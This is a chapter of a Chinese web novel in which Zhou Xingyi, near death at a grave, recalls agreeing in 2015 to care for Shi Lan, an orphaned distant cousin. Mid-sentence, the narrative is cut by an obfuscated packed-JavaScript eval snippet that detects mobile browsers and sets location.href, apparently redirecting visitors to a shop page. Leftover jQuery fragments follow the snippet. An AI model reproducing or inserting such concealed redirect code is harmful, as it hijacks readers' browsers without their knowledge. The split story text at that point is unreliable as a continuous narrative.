时值二零一九年十一月末，此刻躺在半山腰的周行一，已被初冬的冷冽的寒风浸透身体的每一个部分。
就在刚刚，他点燃了最后一副烟花，起身欲往后走时顿感天旋地转，脑袋嗡嗡作响，再也支撑不住，直直地倒了下去。
他已有两天未曾进食，一直在这片空地上不知疲倦地点燃摆放在这里的烟花，全靠吸烟提神。火药冲破封装，冲向天际，砰砰作响，可他却再也听不到了。不知昏迷了多久，或许是几个小时，又或许是一两天，他终于苏醒过来。他费力地抬起脸，试图看清眼前的景象，映入眼帘的只有一片白茫茫的景象，除此之外，别无他物。在这个寒冷的冬日清晨，漫山遍野的大雾一如既往的将这里变成了一个白色的世界。
“落得个白茫茫一片真干净。”他感慨着，露出了这几个月来难得的笑容，或许真如之前所期望的那样，自己来到了天堂。然而，还没等他庆幸自己升入天堂，腹部便传来阵阵剧痛。原来他倒下时，腹部正好压在一块不大不小的未清理干净的石头上。好在他已几日未进食，极度虚弱之下，就连这种剧痛也几乎感觉不到。
他艰难地翻过身，仰面躺在地上。翻身的瞬间，透过眼角的余光他瞥见坟前的香烛早已燃尽，只剩下一堆堆竹棒插在地上。他看到坟四周一排排燃放完毕的烟火，看到满地鞭炮留下的纸屑，一层又一层地铺满大地。他还看到天空中真的有一个人在徘徊，仿佛在等待着他，那人似乎正向他招手。他用尽最后一丝力气，抬起满是泥土的手，伸向天空中的人，口中不断呢喃着：“等等我。”还没等天上的“仙人”回应，他便再次陷入昏迷。
恍惚中，他听到远方传来阵阵呼唤：“周行一”“行一”。那声音越来越近，但此刻，这一切都已无关紧要，一切都失去了意义。他失去了所有，曾经承诺要守护的人，要完成的事，那些信誓旦旦的诺言，到头来都如梦幻泡影。如果可以，他好想回到那年夏天，提醒当时的自己不要接那个电话；如果可以，他好想回到那个秋天，认真考虑妹妹的话；如果可以，他好想回到二十天前，听从她的告诫，放弃寻祖。
可是，这世上又哪有那么多如果呢？这些让他无比后悔的场景，都已真真切切地上演完毕。他想起在她生命的最后一刻，自己在绝望中安慰她的话：“我相信，十二万九千六百年后，我们会再次相遇的。”同样，他也想起她恍惚中说的话：“如果可以，我不要再次相遇，这刻骨铭心的痛苦我再也不想经历了。”
那呼唤声停了一会儿，又再次响起，最终来到他身旁。昏迷中的他只听到那人接连打了几个电话，然后坐在地上，抱着自己低声哭泣。
来人是谁？他已不想再去深究，因为一切都已毫无意义。此刻，他只想在生命的最后时刻，在这白茫茫的世界里，在记忆深处，与那些随着时间渐渐远去的亲人、朋友一一告别。
时钟倒转回到二零一五年七月，那个酷热难耐的夏天。那天，他正在工位上午休。自从跟随老吴入职这家游戏公司以来，他从未像今天这样安稳入睡过。由于是半路转行，他还有许多东西需要学习。或许是太过疲惫，直到周围的同事叫醒他，他才揉着极度困倦恨不得再次合上的眼睛，接通了这个恼人的电话。
明明手机已经调至静音，怎么会响呢？他起身拿着手机走进茶水间，看着屏幕上那一串长长的陌生号码，几经犹豫，还是接通了电话。还没等他开口询问，手机那头便传来了熟悉的声音。
“喂，喂，听得到吗？”是奶奶的声音。科技已经如此发达了吗？竟能模仿得如此逼真。他清楚地知道，自己的奶奶不识字，连手机上的按键都搞不清楚，只会按家里唯一座机的接通键，绝对不可能给自己打电话。换作以前，他或许会逗逗电话那头的骗子，但如今，繁忙的工作早已让他疲惫不堪，连一丝力气都没有了。他带着最后一丝信任，应了一声：“嗯，怎么了。”
电话那头，奶奶唤着他的名字“航一”。一般人都会读作“心怡”，虽然确实也这么读，但只有非常了解他的人才知道，他更喜欢别人叫他“航一”。他放下了戒备，相信电话那头的人确实是奶奶。奶奶简单地说了几句，原来是一个亲戚去世了。由于奶奶不会打电话，便专门跑到村委会，借值班工作人员的电话打给他。
随着岁月的流逝，这些年他早已习惯从奶奶口中听到周边村子里不断有人去世的消息。他早已看淡了生死，觉得这是再正常不过的事。“你去挂两百块就行了，给我打电话干嘛？我又没结婚。”
“不是在西桥镇，是在外地，那边村委打电话过来的，我才知道。”听奶奶和旁边的工作人员解释了好一会儿，周行一才大致了解了事情的缘由。原来是同宗的那个亲戚十几年前因修建大坝移民搬迁到了外地，如今那边的亲戚都已去世，只剩下一个正在读高中的女孩。女孩的奶奶临终前有交代，所以村委会几经辗转，联系到了移民搬迁前的村委会，希望将女孩托付给这边的亲戚。然而，由于搬迁前村委组织早已不复存在，留下的在当地镇政府也没有当初的资料，且没有相关的直系亲属留在外县，最后找到了女孩爷爷这边的亲戚，希望他们代为收留。可世间哪有那么多同宗相帮的情谊呢？况且在这个时代，很多人自己的事情都忙不过来，哪有精力去管一个隔了十几代的同宗呢？于是一大家子都准备把问题推给了周行一，理由是同辈中他最有钱。最后，还是奶奶一时心软，说给自己的孙子打个电话，问问他同不同意。于是，便有了这通电话。
“早就跟你说过，不要跟这些亲戚有什么来往。有钱，能有几个钱？”事到如今，周行一也只能硬着头皮接下这个差事。因为他的记忆里确实有这么一个妹妹，虽然很多年没见了，但他是个很重感情的人。
“为了请假回去玩几天，编谎话也不用编得这么离谱吧？”看着一脸真诚的周行一，再看看电脑里的请假申请，吴浩波还是难以置信，一脸嫌弃地说，“行了，你去吧，这点小心思还想瞒过我。”
周行一懒得和这位既是上司又是好友的人争辩，回到工位收拾好东西，便买好了车票，准备前往那个听了好几遍才记住名字的拗口地方。第二天晚上，靠在缪江动车站出站口门柱上的周行一，只觉得胃里翻江倒海，他拼命控制着几次想要干呕的欲望。他一夜未眠，早上也没吃东西，幸好动车通到了当地所在的县城，只转了两次动车就到了。要是早两年，坐绿皮火车再转几次大巴，自己这把老骨头非得散架不可。
他谢绝了好几拨在周边招揽往返附近乡镇生意的黑车司机，终于等到了昨天在电话里和他交谈的村委干部。那是一位五十岁左右的中年男人，穿着一件不知从哪个文化活动得来的T恤，脚上的皮鞋皱巴巴的，但擦得还算干净，典型的城乡结合部干部形象。简单寒暄几句后，周行一便上了车。
动车站在城东，而目的地在城西。来接他的面包车已接近报废，没走多远，尽管周行一极力克制，但车上浓烈的汽油味还是让本就难受的他吐了出来。幸好旁边一同来接人的人及时递给他一个塑料袋，才没让他把车子吐得乱七八糟。他指着副驾驶前面储物柜里厚厚的一沓黑色塑料袋说：“挺熟练啊，车上还备了这么多塑料袋。”
副驾驶座上的小伙子与开车的大队支书交换了一个眼神，拼命憋着笑，看着后视镜中他狼狈的模样，说道：“我们村原本打算让那个大学生村官来的，可他一听说要坐这辆车来接人，脑袋摇得像拨浪鼓似的，说什么都不肯来。坐上这车的人基本就没有不晕车的。”
一个地处县城边缘的行政村，竟用一辆年久失修的面包车，这让周行一十分诧异。毕竟，就连他那处于国家级贫困县、几乎快没人的老家，村委会都配有皮卡车，“你们村就没别的车了吗？坐这破车可太遭罪了。”
大队支书回应道：“有倒是有，不过被村长他们开到隔壁县学习新农村建设去了。
“行吧，你们开慢点，我感觉又要来了。”话还没说完，他便急忙打开手中的袋子。
车子抵达村支书的家，周行一屁股还没坐热，支书就对同行的小伙说道：“张勇，你去她家把她叫来。追悼会都结束了，她一个人待在家里，别出什么事。”等张勇出门后，支书才在周行一旁边坐下，“昨天在电话里没来得及细聊，我现在简单介绍一下情况。”
原来，千禧年一同搬到永康村的有三户人家，都来自外县的同一个村庄，其中两户姓石，一户姓杨。周行一的妹妹姓石，单名一个“兰”字。隔壁县还有同村搬来的其他几户。刚搬来时，妹妹家有四口人。十五年过去了，亲人相继离世。先是妹妹的父亲遭遇意外身亡，接着母亲患重病去世，如今唯一的奶奶也走了，只剩下她孤零零一个人。
听着村支书的讲述，周行一满心悲痛，不住地摇头：“就没有关系近一些的亲戚了吗？我和她都隔了五六代，早就没什么亲戚情分了吧！”
“我们都问过了，也去派出所查过。他们两家都说她爷爷以前是孤身一人，虽说有几个隔了几代的堂兄弟在外县，但打电话过去，没说几句就被挂了，再打就根本不接。况且，她奶奶临终前交代，希望按照当初的约定把她送到你们家，所以我们就这么做了。”
约定了什么？周行一绞尽脑汁，也毫无头绪。算了，有时间再问问奶奶吧。不过，很快他就没心思去想那个约定了，因为她来了。
此后的日子里，每当在深夜百无聊赖、独自发呆时，每当失意落寞、感到无能为力时，每当身处艰难困苦、无力承受时，周行一总会回忆起这个夜晚，回忆起他与她相遇的那一刻：她低着头，不敢与人对视，紧紧跟在前面带路的人后面，身着一身素白的孝服，头发用一个廉价的素色发箍束在脑后。身后还跟着几个人，是一同搬来的那两户人家。直到村支书起身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231289|197623||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
向她介绍周行一时，石兰才缓缓抬起头，目光与他交汇的瞬间，周行一发现她的眼睛早已哭肿，红彤彤的，与白皙的面庞极不相称。透过那早已干涸却又几度湿润的泪痕，能看到她眼中满是痛楚。仅仅只是匆匆一瞥，或许都还没看清对面的人，石兰便再次低下头，泪水又夺眶而出。或许，在这个年纪尚小的她看来，哭泣是表达内心痛楚的唯一方式。
周行一走上前去，想要安慰她几句，可话到嘴边却怎么也说不出来。最后，他只好拍拍她的肩膀，指着旁边的沙发轻声说道：“坐吧。”这时，村支书从内屋拿出几个塑料凳，招呼一同跟来的人坐下。
接着，村支书和那两户搬迁户的人又向周行一介绍了其他情况。比如，石兰暑假过后就要读高三了，但目前成绩不太理想。“初中毕业时，她本来考上了一中，不过二中说可以免学费，她家经济比较困难，就去了二中。结果你也看到了，现在成绩不太好。”“我们这儿马上要拆迁了，虽然她奶奶一直要求把户口迁回去，但我们觉得还是先跟你说一声，至少等个一年半载再说。不过你要有心理准备，很多人都觉得拆迁价格太低，到时候可能不太容易拿到钱。”
周行一对此倒是看得很明白：“学籍也在这儿吧，等上大学的时候再迁户口也不迟。其他的事，就走一步看一步吧。不过，当务之急是，接下来这一年，我妹妹怎么办？是留在这里读完高三，还是另有安排？”
直到旁边的妇人用手肘轻轻碰了碰她，一直低着头沉浸在悲伤中的石兰才茫然地抬起头，看向邻居：“二姑，怎么了？”
妇人说道：“你哥在问你，今年你打算去哪儿，是留在家读书，还是有别的打算。”
石兰虽渴望离开这个让她日夜感伤的地方，但对于未来该何去何从，她也感到迷茫，不知如何抉择：“都行吧。我都十七岁了，村里好多十七八岁的都出去打工了，我也可以跟着去。”
关键时刻，周行一抢在村支书前面开了口：“算了，等这边的事忙完，你跟我去上海。我找人帮你在那边找所学校读书，高考的时候回来就行。或者，我先把你带回外县，看看那边有没有合适的学校。总之，总比在这里荒废一年强。至于打工的事，就别想了。我既然来了，就不会让你去打工。”说完，周行一借口去卫生间，起身走出堂屋，到外面抽了根烟，试图让自己冷静下来。刚刚说的话虽是他的真实想法，但事情能不能办成，他心里也没底。
就在他准备点燃烟盒里最后一根烟时，一群人从屋里出来了。跟周行一打过招呼后，便各自回家。周行一默默地看着他们离去，走到大门口时，石兰折返回来，走到他跟前停住。他刚想开口，石兰便靠近他，然后紧紧抱住他。他能感觉到她在抽泣，听到她用沙哑的声音，努力让自己的话语清晰：“哥，别抛下我，好吗？”
本以为只是简单的拥抱，可等了好几秒，石兰都没有松手。而周行一手里还拿着烟，面对这情景，他纠结了好一会儿，最终扔掉香烟，抬手拍了拍她的肩膀，轻声应道：“嗯。”听到他肯定的答复，石兰才松开眼前这个刚刚认识的哥哥，脸上的忧伤不再那么浓重，随后转身向外走去。
这时，村支书从屋里走出来，招呼周行一进屋：“刚刚我们商量了一下，都觉得你说的去外地读书的主意挺好。你也听到了，我们这儿教育水平有限，很多孩子高中或中专一毕业就出去打工。我明天带你们去村委开个证明，你拿着证明去石兰学校，就能把外读申请办下来，她就能去外面读书了。”
周行一顿时无语，敢情自己都还没确定能不能办成的事，他们都已经私下商量好了。但话已出口，他也只能硬着头皮上了：“行吧，我还有两天假。明天正好是星期一，把她奶奶的户口注销后，就去学校办。后天我就得回去了。”
“那今晚就住我家吧，二楼有个房间空着。大夏天的，也不用准备被子，就是没空调，可能会有点热。”
周行一最怕热了，连忙谢绝村支书的好意：“我还是去县城找家宾馆住吧，明天我再过来处理事情。”好在这儿离县城近，开着支书那辆破面包车，几分钟就随便找了家小酒店住下。简单冲了个凉，周行一便躺在床上准备入睡。刚要睡着，窗外传来一阵摩托车油门的轰鸣声，从马路这边响到那头，没过几分钟又折返回来，如此反复。这声音让他火冒三丈，在心里把那些人骂了无数遍。见他们丝毫没有停下来的意思，他只好起身靠在墙上看电视，等着这帮鬼火少年玩累。
他回想着刚刚见到石兰的场景，不住地摇头，心中既有对她的同情，也有对未来的担忧。没经过父母同意，就把她接回家，这样做真的好吗？他心里没底。况且，他现在和父母的关系闹得很僵，到时候该怎么交代呢？
带着这些无解的问题和满身的疲惫，忍受着窗外“鬼火少年”时不时传来的机车轰鸣，周行一竟就这样坐着睡着了。